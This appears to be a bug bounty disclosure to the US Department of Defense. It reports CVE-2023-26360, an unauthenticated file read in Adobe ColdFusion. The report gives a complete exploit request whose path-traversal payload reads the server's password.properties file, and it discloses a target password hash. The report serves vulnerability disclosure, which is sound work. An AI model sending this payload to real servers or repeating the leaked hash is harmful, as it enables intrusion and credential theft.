Unauthenticated File Read Adobe ColdFusion

How it was found

Hi DOD,

I have found CVE-2023-26360 in ███. It leads to an Unauthenticated Arbitrary File Read vulnerability due to the de serialization of untrusted data in Adobe ColdFusion. The password hash is disclosed: password=1B3C0648D519755588B7CE5BDBFD4A88E6C7998AF32309665E6966932720F3BA

References

• https://hackerone.com/reports/2248781

Impact

The impact of this vulnerability could result in unauthorized access to sensitive data and actions within the affected Adobe ColdFusion instances.

System Host(s)

afit.edu

Affected Product(s) and Version(s)

CVE Numbers

CVE-2023-26360

Steps to Reproduce

1. Open Burpsuite set the target to ████
2. Use the exploit below:

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/2
Host: ██████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 121
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br

_variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d

3. The password hash is disclosed in the response: password=1B3C0648D519755588B7CE5BDBFD4A88E6C7998AF32309665E6966932720F3BA

POC Video

████████

Suggested Mitigation/Remediation Actions

Apply the necessary security patches or updates provided by Adobe to fix the vulnerability.